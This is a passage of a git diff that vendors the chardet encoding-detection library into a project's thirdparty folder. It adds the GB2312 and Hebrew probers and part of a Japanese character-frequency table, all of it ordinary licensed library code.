317,2517,3027, 325, 569, 686,2107,3084, 60,1042,1333,2794, 264,3177,4014, +1628, 258,3712, 7,4464,1176,1043,1778, 683, 114,1975, 78,1492, 383,1886, 510, + 386, 645,5291,2891,2069,3305,4138,3867,2939,2603,2493,1935,1066,1848,3588,1015, +1282,1289,4609, 697,1453,3044,2666,3611,1856,2412, 54, 719,1330, 568,3778,2459, +1748, 788, 492, 551,1191,1000, 488,3394,3763, 282,1799, 348,2016,1523,3155,2390, +1049, 382,2019,1788,1170, 729,2968,3523, 897,3926,2785,2938,3292, 350,2319,3238, +1718,1717,2655,3453,3143,4465, 161,2889,2980,2009,1421, 56,1908,1640,2387,2232, +1917,1874,2477,4921, 148, 83,3438, 592,4245,2882,1822,1055, 741, 115,1496,1624, + 381,1638,4592,1020, 516,3214, 458, 947,4575,1432, 211,1514,2926,1865,2142, 189, + 852,1221,1400,1486, 882,2299,4036, 351, 28,1122, 700,6479,6480,6481,6482,6483, #last 512 +) + diff --git a/src/thirdparty/chardet/gb2312prober.py b/src/thirdparty/chardet/gb2312prober.py new file mode 100644 index 0000000000..8446d2dd95 --- /dev/null +++ b/src/thirdparty/chardet/gb2312prober.py @@ -0,0 +1,46 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .mbcharsetprober import MultiByteCharSetProber +from .codingstatemachine import CodingStateMachine +from .chardistribution import GB2312DistributionAnalysis +from .mbcssm import GB2312_SM_MODEL + +class GB2312Prober(MultiByteCharSetProber): + def __init__(self): + super(GB2312Prober, self).__init__() + self.coding_sm = CodingStateMachine(GB2312_SM_MODEL) + self.distribution_analyzer = GB2312DistributionAnalysis() + self.reset() + + @property + def charset_name(self): + return "GB2312" + + @property + def language(self): + return "Chinese" diff --git a/src/thirdparty/chardet/hebrewprober.py b/src/thirdparty/chardet/hebrewprober.py new file mode 100644 index 0000000000..b0e1bf4926 --- /dev/null +++ b/src/thirdparty/chardet/hebrewprober.py @@ -0,0 +1,292 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Shy Shalom +# Portions created by the Initial Developer are Copyright (C) 2005 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .charsetprober import CharSetProber +from .enums import ProbingState + +# This prober doesn't actually recognize a language or a charset. +# It is a helper prober for the use of the Hebrew model probers + +### General ideas of the Hebrew charset recognition ### +# +# Four main charsets exist in Hebrew: +# "ISO-8859-8" - Visual Hebrew +# "windows-1255" - Logical Hebrew +# "ISO-8859-8-I" - Logical Hebrew +# "x-mac-hebrew" - ?? Logical Hebrew ?? +# +# Both "ISO" charsets use a completely identical set of code points, whereas +# "windows-1255" and "x-mac-hebrew" are two different proper supersets of +# these code points. windows-1255 defines additional characters in the range +# 0x80-0x9F as some misc punctuation marks as well as some Hebrew-specific +# diacritics and additional 'Yiddish' ligature letters in the range 0xc0-0xd6. +# x-mac-hebrew defines similar additional code points but with a different +# mapping. +# +# As far as an average Hebrew text with no diacritics is concerned, all four +# charsets are identical with respect to code points. Meaning that for the +# main Hebrew alphabet, all four map the same values to all 27 Hebrew letters +# (including final letters). +# +# The dominant difference between these charsets is their directionality. +# "Visual" directionality means that the text is ordered as if the renderer is +# not aware of a BIDI rendering algorithm. The renderer sees the text and +# draws it from left to right. The text itself when ordered naturally is read +# backwards. A buffer of Visual Hebrew generally looks like so: +# "[last word of first line spelled backwards] [whole line ordered backwards +# and spelled backwards] [first word of first line spelled backwards] +# [end of line] [last word of second line] ... etc' " +# adding punctuation marks, numbers and English text to visual text is +# naturally also "visual" and from left to right. +# +# "Logical" directionality means the text is ordered "naturally" according to +# the order it is read. It is the responsibility of the renderer to display +# the text from right to left. A BIDI algorithm is used to place general +# punctuation marks, numbers and English text in the text. +# +# Texts in x-mac-hebrew are almost impossible to find on the Internet. From +# what little evidence I could find, it seems that its general directionality +# is Logical. +# +# To sum up all of the above, the Hebrew probing mechanism knows about two +# charsets: +# Visual Hebrew - "ISO-8859-8" - backwards text - Words and sentences are +# backwards while line order is natural. For charset recognition purposes +# the line order is unimportant (In fact, for this implementation, even +# word order is unimportant). +# Logical Hebrew - "windows-1255" - normal, naturally ordered text. +# +# "ISO-8859-8-I" is a subset of windows-1255 and doesn't need to be +# specifically identified. +# "x-mac-hebrew" is also identified as windows-1255. A text in x-mac-hebrew +# that contain special punctuation marks or diacritics is displayed with +# some unconverted characters showing as question marks. This problem might +# be corrected using another model prober for x-mac-hebrew. Due to the fact +# that x-mac-hebrew texts are so rare, writing another model prober isn't +# worth the effort and performance hit. +# +#### The Prober #### +# +# The prober is divided between two SBCharSetProbers and a HebrewProber, +# all of which are managed, created, fed data, inquired and deleted by the +# SBCSGroupProber. The two SBCharSetProbers identify that the text is in +# fact some kind of Hebrew, Logical or Visual. The final decision about which +# one is it is made by the HebrewProber by combining final-letter scores +# with the scores of the two SBCharSetProbers to produce a final answer. +# +# The SBCSGroupProber is responsible for stripping the original text of HTML +# tags, English characters, numbers, low-ASCII punctuation characters, spaces +# and new lines. It reduces any sequence of such characters to a single space. +# The buffer fed to each prober in the SBCS group prober is pure text in +# high-ASCII. +# The two SBCharSetProbers (model probers) share the same language model: +# Win1255Model. +# The first SBCharSetProber uses the model normally as any other +# SBCharSetProber does, to recognize windows-1255, upon which this model was +# built. The second SBCharSetProber is told to make the pair-of-letter +# lookup in the language model backwards. This in practice exactly simulates +# a visual Hebrew model using the windows-1255 logical Hebrew model. +# +# The HebrewProber is not using any language model. All it does is look for +# final-letter evidence suggesting the text is either logical Hebrew or visual +# Hebrew. Disjointed from the model probers, the results of the HebrewProber +# alone are meaningless. HebrewProber always returns 0.00 as confidence +# since it never identifies a charset by itself. Instead, the pointer to the +# HebrewProber is passed to the model probers as a helper "Name Prober". +# When the Group prober receives a positive identification from any prober, +# it asks for the name of the charset identified. If the prober queried is a +# Hebrew model prober, the model prober forwards the call to the +# HebrewProber to make the final decision. In the HebrewProber, the +# decision is made according to the final-letters scores maintained and Both +# model probers scores. The answer is returned in the form of the name of the +# charset identified, either "windows-1255" or "ISO-8859-8". + +class HebrewProber(CharSetProber): + # windows-1255 / ISO-8859-8 code points of interest + FINAL_KAF = 0xea + NORMAL_KAF = 0xeb + FINAL_MEM = 0xed + NORMAL_MEM = 0xee + FINAL_NUN = 0xef + NORMAL_NUN = 0xf0 + FINAL_PE = 0xf3 + NORMAL_PE = 0xf4 + FINAL_TSADI = 0xf5 + NORMAL_TSADI = 0xf6 + + # Minimum Visual vs Logical final letter score difference. + # If the difference is below this, don't rely solely on the final letter score + # distance. + MIN_FINAL_CHAR_DISTANCE = 5 + + # Minimum Visual vs Logical model score difference. + # If the difference is below this, don't rely at all on the model score + # distance. + MIN_MODEL_DISTANCE = 0.01 + + VISUAL_HEBREW_NAME = "ISO-8859-8" + LOGICAL_HEBREW_NAME = "windows-1255" + + def __init__(self): + super(HebrewProber, self).__init__() + self._final_char_logical_score = None + self._final_char_visual_score = None + self._prev = None + self._before_prev = None + self._logical_prober = None + self._visual_prober = None + self.reset() + + def reset(self): + self._final_char_logical_score = 0 + self._final_char_visual_score = 0 + # The two last characters seen in the previous buffer, + # mPrev and mBeforePrev are initialized to space in order to simulate + # a word delimiter at the beginning of the data + self._prev = ' ' + self._before_prev = ' ' + # These probers are owned by the group prober. + + def set_model_probers(self, logicalProber, visualProber): + self._logical_prober = logicalProber + self._visual_prober = visualProber + + def is_final(self, c): + return c in [self.FINAL_KAF, self.FINAL_MEM, self.FINAL_NUN, + self.FINAL_PE, self.FINAL_TSADI] + + def is_non_final(self, c): + # The normal Tsadi is not a good Non-Final letter due to words like + # 'lechotet' (to chat) containing an apostrophe after the tsadi. This + # apostrophe is converted to a space in FilterWithoutEnglishLetters + # causing the Non-Final tsadi to appear at an end of a word even + # though this is not the case in the original text. + # The letters Pe and Kaf rarely display a related behavior of not being + # a good Non-Final letter. Words like 'Pop', 'Winamp' and 'Mubarak' + # for example legally end with a Non-Final Pe or Kaf. However, the + # benefit of these letters as Non-Final letters outweighs the damage + # since these words are quite rare. + return c in [self.NORMAL_KAF, self.NORMAL_MEM, + self.NORMAL_NUN, self.NORMAL_PE] + + def feed(self, byte_str): + # Final letter analysis for logical-visual decision. + # Look for evidence that the received buffer is either logical Hebrew + # or visual Hebrew. + # The following cases are checked: + # 1) A word longer than 1 letter, ending with a final letter. This is + # an indication that the text is laid out "naturally" since the + # final letter really appears at the end. +1 for logical score. + # 2) A word longer than 1 letter, ending with a Non-Final letter. In + # normal Hebrew, words ending with Kaf, Mem, Nun, Pe or Tsadi, + # should not end with the Non-Final form of that letter. Exceptions + # to this rule are mentioned above in isNonFinal(). This is an + # indication that the text is laid out backwards. +1 for visual + # score + # 3) A word longer than 1 letter, starting with a final letter. Final + # letters should not appear at the beginning of a word. This is an + # indication that the text is laid out backwards. +1 for visual + # score. + # + # The visual score and logical score are accumulated throughout the + # text and are finally checked against each other in GetCharSetName(). + # No checking for final letters in the middle of words is done since + # that case is not an indication for either Logical or Visual text. + # + # We automatically filter out all 7-bit characters (replace them with + # spaces) so the word boundary detection works properly. [MAP] + + if self.state == ProbingState.NOT_ME: + # Both model probers say it's not them. No reason to continue. + return ProbingState.NOT_ME + + byte_str = self.filter_high_byte_only(byte_str) + + for cur in byte_str: + if cur == ' ': + # We stand on a space - a word just ended + if self._before_prev != ' ': + # next-to-last char was not a space so self._prev is not a + # 1 letter word + if self.is_final(self._prev): + # case (1) [-2:not space][-1:final letter][cur:space] + self._final_char_logical_score += 1 + elif self.is_non_final(self._prev): + # case (2) [-2:not space][-1:Non-Final letter][ + # cur:space] + self._final_char_visual_score += 1 + else: + # Not standing on a space + if ((self._before_prev == ' ') and + (self.is_final(self._prev)) and (cur != ' ')): + # case (3) [-2:space][-1:final letter][cur:not space] + self._final_char_visual_score += 1 + self._before_prev = self._prev + self._prev = cur + + # Forever detecting, till the end or until both model probers return + # ProbingState.NOT_ME (handled above) + return ProbingState.DETECTING + + @property + def charset_name(self): + # Make the decision: is it Logical or Visual? + # If the final letter score distance is dominant enough, rely on it. + finalsub = self._final_char_logical_score - self._final_char_visual_score + if finalsub >= self.MIN_FINAL_CHAR_DISTANCE: + return self.LOGICAL_HEBREW_NAME + if finalsub <= -self.MIN_FINAL_CHAR_DISTANCE: + return self.VISUAL_HEBREW_NAME + + # It's not dominant enough, try to rely on the model scores instead. + modelsub = (self._logical_prober.get_confidence() + - self._visual_prober.get_confidence()) + if modelsub > self.MIN_MODEL_DISTANCE: + return self.LOGICAL_HEBREW_NAME + if modelsub < -self.MIN_MODEL_DISTANCE: + return self.VISUAL_HEBREW_NAME + + # Still no good, back to final letter distance, maybe it'll save the + # day. + if finalsub < 0.0: + return self.VISUAL_HEBREW_NAME + + # (finalsub > 0 - Logical) or (don't know what to do) default to + # Logical. + return self.LOGICAL_HEBREW_NAME + + @property + def language(self): + return 'Hebrew' + + @property + def state(self): + # Remain active as long as any of the model probers are active. + if (self._logical_prober.state == ProbingState.NOT_ME) and \ + (self._visual_prober.state == ProbingState.NOT_ME): + return ProbingState.NOT_ME + return ProbingState.DETECTING diff --git a/src/thirdparty/chardet/jisfreq.py b/src/thirdparty/chardet/jisfreq.py new file mode 100644 index 0000000000..83fc082b54 --- /dev/null +++ b/src/thirdparty/chardet/jisfreq.py @@ -0,0 +1,325 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +# Sampling from about 20M text materials include literature and computer technology +# +# Japanese frequency table, applied to both S-JIS and EUC-JP +# They are sorted in order. + +# 128 --> 0.77094 +# 256 --> 0.85710 +# 512 --> 0.92635 +# 1024 --> 0.97130 +# 2048 --> 0.99431 +# +# Ideal Distribution Ratio = 0.92635 / (1-0.92635) = 12.58 +# Random Distribution Ration = 512 / (2965+62+83+86-512) = 0.191 +# +# Typical Distribution Ratio, 25% of IDR + +JIS_TYPICAL_DISTRIBUTION_RATIO = 3.0 + +# Char to FreqOrder table , +JIS_TABLE_SIZE = 4368 + +JIS_CHAR_TO_FREQ_ORDER = ( + 40, 1, 6, 182, 152, 180, 295,2127, 285, 381,3295,4304,3068,4606,3165,3510, # 16 +3511,1822,2785,4607,1193,2226,5070,4608, 171,2996,1247, 18, 179,5071, 856,1661, # 32 +1262,5072, 619, 127,3431,3512,3230,1899,1700, 232, 228,1294,1298, 284, 283,2041, # 48 +2042,1061,1062, 48, 49, 44, 45, 433, 434,1040,1041, 996, 787,2997,1255,4305, # 64 +2108,4609,1684,1648,5073,5074,5075,5076,5077,5078,3687,5079,4610,5080,3927,3928, # 80 +5081,3296,3432, 290,2285,1471,2187,5082,2580,2825,1303,2140,1739,1445,2691,3375, # 96 +1691,3297,4306,4307,4611, 452,3376,1182,2713,3688,3069,4308,5083,5084,5085,5086, # 112 +5087,5088,5089,5090,5091,5092,5093,5094,5095,5096,5097,5098,5099,5100,5101,5102, # 128 +5103,5104,5105,5106,5107,5108,5109,5110,5111,5112,4097,5113,5114,5115,5116,5117, # 144 +5118,5119,5120,5121,5122,5123,5124,5125,5126,5127,5128,5129,5130,5131,5132,5133, # 160 +5134,5135,5136,5137,5138,5139,5140,5141,5142,5143,5144,5145,5146,5147,5148,5149, # 176 +5150,5151,5152,4612,5153,5154,5155,5156,5157,5158,5159,5160,5161,5162,5163,5164, # 192 +5165,5166,5167,5168,5169,5170,5171,5172,5173,5174,5175,1472, 598, 618, 820,1205, # 208 +1309,1412,1858,1307,1692,5176,5177,5178,5179,5180,5181,5182,1142,1452,1234,1172, # 224 +1875,2043,2149,1793,1382,2973, 925,2404,1067,1241, 960,1377,2935,1491, 919,1217, # 240 +1865,2030,1406,1499,2749,4098,5183,5184,5185,5186,5187,5188,2561,4099,3117,1804, # 256 +2049,3689,4309,3513,1663,5189,3166,3118,3298,1587,1561,3433,5190,3119,1625,2998, # 272 +3299,4613,1766,3690,2786,4614,5191,5192,5193,5194,2161, 26,3377, 2,3929, 20, # 288 +3691, 47,4100, 50, 17, 16, 35, 268, 27, 243, 42, 155, 24, 154, 29, 184, # 304 + 4, 91, 14, 92, 53, 396, 33, 289, 9, 37, 64, 620, 21, 39, 321, 5, # 320 + 12, 11, 52, 13, 3, 208, 138, 0, 7, 60, 526, 141, 151,1069, 181, 275, # 336 +1591, 83, 132,1475, 126, 331, 829, 15, 69, 160, 59, 22, 157, 55,1079, 312, # 352 + 109, 38, 23, 25, 10, 19, 79,5195, 61, 382,1124, 8, 30,5196,5197,5198, # 368 +5199,5200,5201,5202,5203,5204,5205,5206, 89, 62, 74, 34,2416, 112, 139, 196, # 384 + 271, 149, 84, 607, 131, 765, 46, 88, 153, 683, 76, 874, 101, 258, 57, 80, # 400 + 32, 364, 121,1508, 169,1547, 68, 235, 145,2999, 41, 360,3027, 70, 63, 31, # 416 + 43, 259, 262,1383, 99, 533, 194, 66, 93, 846, 217, 192, 56, 106, 58, 565, # 432 + 280, 272, 311, 256, 146, 82, 308, 71, 100, 128, 214, 655, 110, 261, 104,1140, # 448 + 54, 51, 36, 87, 67,3070, 185,2618,2936,2020, 28,1066,2390,2059,5207,5208, # 464 +5209,5210,5211,5212,5213,5214,5215,5216,4615,5217,5218,5219,5220,5221,5222,5223, # 480 +5224,5225,5226,5227,5228,5229,5230,5231,5232,5233,5234,5235,5236,3514,5237,5238, # 496 +5239,5240,5241,5242,5243,5244,2297,2031,4616,4310,3692,5245,3071,5246,3598,5247, # 512 +4617,3231,3515,5248,4101,4311,4618,3808,4312,4102,5249,4103,4104,3599,5250,5251, # 528 +5252,5253,5254,5255,5256,5257,5258,5259,5260,5261,5262,5263,5264,5265,5266,5267, # 544 +5268,5269,5270,5271,5272,5273,5274,5275,5276,5277,5278,5279,5280,5281,5282,5283, # 560 +5284,5285,5286,5287,5288,5289,5290,5291,5292,5293,5294,5295,5296,5297,5298,5299, # 576 +5300,5301,5302,5303,5304,5305,5306,5307,5308,5309,5310,5311,5312,5313,5314,5315, # 592 +5316,5317,5318,5319,5320,5321,5322,5323,5324,5325,5326,5327,5328,5329,5330,5331, # 608 +5332,5333,5334,5335,5336,5337,5338,5339,5340,5341,5342,5343,5344,5345,5346,5347, # 624 +5348,5349,5350,5351,5352,5353,5354,5355,5356,5357,5358,5359,5360,5361,5362,5363, # 640 +5364,5365,5366,5367,5368,5369,5370,5371,5372,5373,5374,5375,5376,5377,5378,5379, # 656 +5380,5381, 363, 642,2787,2878,2788,2789,2316,3232,2317,3434,2011, 165,1942,3930, # 672 +3931,3932,3933,5382,4619,5383,4620,5384,5385,5386,5387,5388,5389,5390,5391,5392, # 688 +5393,5394,5395,5396,5397,5398,5399,5400,5401,5402,5403,5404,5405,5406,5407,5408, # 704 +5409,5410,5411,5412,5413,5414,5415,5416,5417,5418,5419,5420,5421,5422,5423,5424, # 720 +5425,5426,5427,5428,5429,5430,5431,5432,5433,5434,5435,5436,5437,5438,5439,5440, # 736 +5441,5442,5443,5444,5445,5446,5447,5448,5449,5450,5451,5452,5453,5454,5455,5456, # 752 +5457,5458,5459,5460,5461,5462,5463,5464,5465,5466,5467,5468,5469,5470,5471,5472, # 768 +5473,5474,5475,5476,5477,5478,5479,5480,5481,5482,5483,5484,5485,5486,5487,5488, # 784 +5489,5490,5491,5492,5493,5494,5495,5496,5497,5498,5499,5500,5501,5502,5503,5504, # 800 +5505,5506,5507,5508,5509,5510,5511,5512,5513,5514,5515,5516,5517,5518,5519,5520, # 816 +5521,5522,5523,5524,5525,5526,5527,5528,5529,5530,5531,5532,5533,5534,5535,5536, # 832 +5537,5538,5539,5540,5541,5542,5543,5544,5545,5546,5547,5548,5549,5550,5551,5552, # 848 +5553,5554,5555,5556,5557,5558,5559,5560,5561,5562,5563,5564,5565,5566,5567,5568, # 864 +5569,5570,5571,5572,5573,5574,5575,5576,5577,5578,5579,5580,5581,5582,5583,5584, # 880 +5585,5586,5587,5588,5589,5590,5591,5592,5593,5594,5595,5596,5597,5598,5599,5600, # 896 +5601,5602,5603,5604,5605,5606,5607,5608,5609,5610,5611,5612,5613,5614,5615,5616, # 912 +5617,5618,5619,5620,5621,5622,5623,5624,5625,5626,5627,5628,5629,5630,5631,5632, # 928 +5633,5634,5635,5636,5637,5638,5639,5640,5641,5642,5643,5644,5645,5646,5647,5648, # 944 +5649,5650,5651,5652,5653,5654,5655,5656,5657,5658,5659,5660,5661,5662,5663,5664, # 960 +5665,5666,5667,5668,5669,5670,5671,5672,5673,5674,5675,5676,5677,5678,5679,5680, # 976 +5681,5682,5683,5684,5685,5686,5687,5688,5689,5690,5691,5692,5693,5694,5695,5696, # 992 +5697,5698,5699,5700,5701,5702,5703,5704,5705,5706,5707,5708,5709,5710,5711,5712, # 1008 +5713,5714,5715,5716,5717,5718,5719,5720,5721,5722,5723,5724,5725,5726,5727,5728, # 1024 +5729,5730,5731,5732,5733,5734,5735,5736,5737,5738,5739,5740,5741,5742,5743,5744, # 1040 +5745,5746,5747,5748,5749,5750,5751,5752,5753,5754,5755,5756,5757,5758,5759,5760, # 1056 +5761,5762,5763,5764,5765,5766,5767,5768,5769,5770,5771,5772,5773,5774,5775,5776, # 1072 +5777,5778,5779,5780,5781,5782,5783,5784,5785,5786,5787,5788,5789,5790,5791,5792, # 1088 +5793,5794,5795,5796,5797,5798,5799,5800,5801,5802,5803,5804,5805,5806,5807,5808, # 1104 +5809,5810,5811,5812,5813,5814,5815,5816,5817,5818,5819,5820,5821,5822,5823,5824, # 1120 +5825,5826,5827,5828,5829,5830,5831,5832,5833,5834,5835,5836,5837,5838,5839,5840, # 1136 +5841,5842,5843,5844,5845,5846,5847,5848,5849,5850,5851,5852,5853,5854,5855,5856, # 1152 +5857,5858,5859,5860,5861,5862,5863,5864,5865,5866,5867,5868,5869,5870,5871,5872, # 1168 +5873,5874,5875,5876,5877,5878,5879,5880,5881,5882,5883,5884,5885,5886,5887,5888, # 1184 +5889,5890,5891,5892,5893,5894,5895,5896,5897,5898,5899,5900,5901,5902,5903,5904, # 1200 +5905,5906,5907,5908,5909,5910,5911,5912,5913,5914,5915,5916,5917,5918,5919,5920, # 1216 +5921,5922,5923,5924,5925,5926,5927,5928,5929,5930,5931,5932,5933,5934,5935,5936, # 1232 +5937,5938,5939,5940,5941,5942,5943,5944,5945,5946,5947,5948,5949,5950,5951,5952, # 1248 +5953,5954,5955,5956,5957,5958,5959,5960,5961,5962,5963,5964,5965,5966,5967,5968, # 1264 +5969,5970,5971,5972,5973,5974,5975,5976,5977,5978,5979,5980,5981,5982,5983,5984, # 1280 +5985,5986,5987,5988,5989,5990,5991,5992,5993,5994,5995,5996,5997,5998,5999,6000, # 1296 +6001,6002,6003,6004,6005,6006,6007,6008,6009,6010,6011,6012,6013,6014,6015,6016, # 1312 +6017,6018,6019,6020,6021,6022,6023,6024,6025,6026,6027,6028,6029,6030,6031,6032, # 1328 +6033,6034,6035,6036,6037,6038,6039,6040,6041,6042,6043,6044,6045,6046,6047,6048, # 1344 +6049,6050,6051,6052,6053,6054,6055,6056,6057,6058,6059,6060,6061,6062,6063,6064, # 1360 +6065,6066,6067,6068,6069,6070,6071,6072,6073,6074,6075,6076,6077,6078,6079,6080, # 1376 +6081,6082,6083,6084,6085,6086,6087,6088,6089,6090,6091,6092,6093,6094,6095,6096, # 1392 +6097,6098,6099,6100,6101,6102,6103,6104,6105,6106,6107,6108,6109,6110,6111,6112, # 1408 +6113,6114,2044,2060,4621, 997,1235, 473,1186,4622, 920,3378,6115,6116, 379,1108, # 1424 +4313,2657,2735,3934,6117,3809, 636,3233, 573,1026,3693,3435,2974,3300,2298,4105, # 1440 + 854,2937,2463, 393,2581,2417, 539, 752,1280,2750,2480, 140,1161, 440, 708,1569, # 1456 + 665,2497,1746,1291,1523,3000, 164,1603, 847,1331, 537,1997, 486, 508,1693,2418, # 1472 +1970,2227, 878,1220, 299,1030, 969, 652,2751, 624,1137,3301,2619, 65,3302,2045, # 1488 +1761,1859,3120,1930,3694,3516, 663,1767, 852, 835,3695, 269, 767,2826,2339,1305, # 1504 + 896,1150, 770,1616,6118, 506,1502,2075,1012,2519, 775,2520,2975,2340,2938,4314, # 1520 +3028,2086,1224,1943,2286,6119,3072,4315,2240,1273,1987,3935,1557, 175, 597, 985, # 1536 +3517,2419,2521,1416,3029, 585, 938,1931,1007,1052,1932,1685,6120,3379,4316,4623, # 1552 + 804, 599,3121,1333,2128,2539,1159,1554,2032,3810, 687,2033,2904, 952, 675,1467, # 1568 +3436,6121,2241,1096,1786,2440,1543,1924, 980,1813,2228, 781,2692,1879, 728,1918, # 1584 +3696,4624, 548,1950,4625,1809,1088,1356,3303,2522,1944, 502, 972, 373, 513,2827, # 1600 + 586,2377,2391,1003,1976,1631,6122,2464,1084, 648,1776,4626,2141, 324, 962,2012, # 1616 +2177,2076,1384, 742,2178,1448,1173,1810, 222, 102, 301, 445, 125,2420, 662,2498, # 1632 + 277, 200,1476,1165,1068, 224,2562,1378,1446, 450,1880, 659, 791, 582,4627,2939, # 1648 +3936,1516,1274, 555,2099,3697,1020,1389,1526,3380,1762,1723,1787,2229, 412,2114, # 1664 +1900,2392,3518, 512,2597, 427,1925,2341,3122,1653,1686,2465,2499, 697, 330, 273, # 1680 + 380,2162, 951, 832, 780, 991,1301,3073, 965,2270,3519, 668,2523,2636,1286, 535, # 1696 +1407, 518, 671, 957,2658,2378, 267, 611,2197,3030,6123, 248,2299, 967,1799,2356, # 1712 + 850,1418,3437,1876,1256,1480,2828,1718,6124,6125,1755,1664,2405,6126,4628,2879, # 1728 +2829, 499,2179, 676,4629, 557,2329,2214,2090, 325,3234, 464, 811,3001, 992,2342, # 1744 +2481,1232,1469, 303,2242, 466,1070,2163, 603,1777,2091,4630,2752,4631,2714, 322, # 1760 +2659,1964,1768, 481,2188,1463,2330,2857,3600,2092,3031,2421,4632,2318,2070,1849, # 1776 +2598,4633,1302,2254,1668,1701,2422,3811,2905,3032,3123,2046,4106,1763,1694,4634, # 1792 +1604, 943,1724,1454, 917, 868,2215,1169,2940, 552,1145,1800,1228,1823,1955, 316, # 1808 +1080,2510, 361,1807,2830,4107,2660,3381,1346,1423,1134,4108,6127, 541,1263,1229, # 1824 +1148,2540, 545, 465,1833,2880,3438,1901,3074,2482, 816,3937, 713,1788,2500, 122, # 1840 +1575, 195,1451,2501,1111,6128, 859, 374,1225,2243,2483,4317, 390,1033,3439,3075, # 1856 +2524,1687, 266, 793,1440,2599, 946, 779, 802, 507, 897,1081, 528,2189,1292, 711, # 1872 +1866,1725,1167,1640, 753, 398,2661,1053, 246, 348,4318, 137,1024,3440,1600,2077, # 1888 +2129, 825,4319, 698, 238, 521, 187,2300,1157,2423,1641,1605,1464,1610,1097,2541, # 1904 +1260,1436, 759,2255,1814,2150, 705,3235, 409,2563,3304, 561,3033,2005,2564, 726, # 1920 +1956,2343,3698,4109, 949,3812,3813,3520,1669, 653,1379,2525, 881,2198, 632,2256, # 1936 +1027, 778,1074, 733,1957, 514,1481,2466, 554,2180, 702,3938,1606,1017,1398,6129, # 1952 +1380,3521, 921, 993,1313, 594, 449,1489,1617,1166, 768,1426,1360, 495,1794,3601, # 1968 +1177,3602,1170,4320,2344, 476, 425,3167,4635,3168,1424, 401,2662,1171,3382,1998, # 1984 +1089,4110, 477,3169, 474,6130,1909, 596,2831,1842, 494, 693,1051,1028,1207,3076, # 2000 + 606,2115, 727,2790,1473,1115, 743,3522, 630, 805,1532,4321,2021, 366,1057, 838, # 2016 + 684,1114,2142,4322,2050,1492,1892,1808,2271,3814,2424,1971,1447,1373,3305,1090, # 2032 +1536,3939,3523,3306,1455,2199, 336, 369,2331,1035, 584,2393, 902, 718,2600,6131, # 2048 +2753, 463,2151,1149,1611,2467, 715,1308,3124,1268, 343,1413,3236,1517,1347,2663, # 2064 +2093,3940,2022,1131,1553,2100,2941,1427,3441,2942,1323,2484,6132,1980, 872,2368, # 2080 +2441,2943, 320,2369,2116,1082, 679,1933,3941,2791,3815, 625,1143,2023, 422,2200, # 2096 +3816,6133, 730,1695, 356,2257,1626,2301,2858,2637,1627,1778, 937, 883,2906,2693, # 2112 +3002,1769,1086, 400,1063,1325,3307,2792,4111,3077, 456,2345,1046, 747,6134,1524, # 2128 + 884,1094,3383,1474,2164,1059, 974,1688,2181,2258,1047, 345,1665,1187, 358, 875, # 2144 +3170, 305, 660,3524,2190,1334,1135,3171,1540,1649,2542,1527, 927, 968,2793, 885, # 2160 +1972,1850, 482, 500,2638,1218,1109,1085,2543,1654,2034, 876, 78,2287,1482,1277, # 2176 + 861,1675,1083,1779, 724,2754, 454, 397,1132,1612,2332, 893, 672,1237, 257,2259, # 2192 +2370, 135,3384, 337,2244, 547, 352, 340, 709,2485,1400, 788,1138,2511, 540, 772, # 2208 +1682,2260,2272,2544,2013,1843,1902,4636,1999,1562,2288,4637,2201,1403,1533, 407, # 2224 + 576,3308,1254,2071, 978,3385, 170, 136,1201,3125,2664,3172,2394, 213, 912, 873, # 2240 +3603,1713,2202, 699,3604,3699, 813,3442, 493, 531,1054, 468,2907,1483, 304, 281, # 2256 +4112,1726,1252,2094, 339,2319,2130,2639, 756,1563,2944, 748, 571,2976,1588,2425, # 2272 +2715,1851,1460,2426,1528,1392,1973,3237, 288,3309, 685,3386, 296, 892,2716,2216, # 2288 +1570,2245, 722,1747,2217, 905,3238,1103,6135,1893,1441,1965, 251,1805,2371,3700, # 2304 +2601,1919,1078, 75,2182,1509,1592,1270,2640,4638,2152,6136,3310,3817, 524, 706, # 2320 +1075, 292,3818,1756,2602, 317, 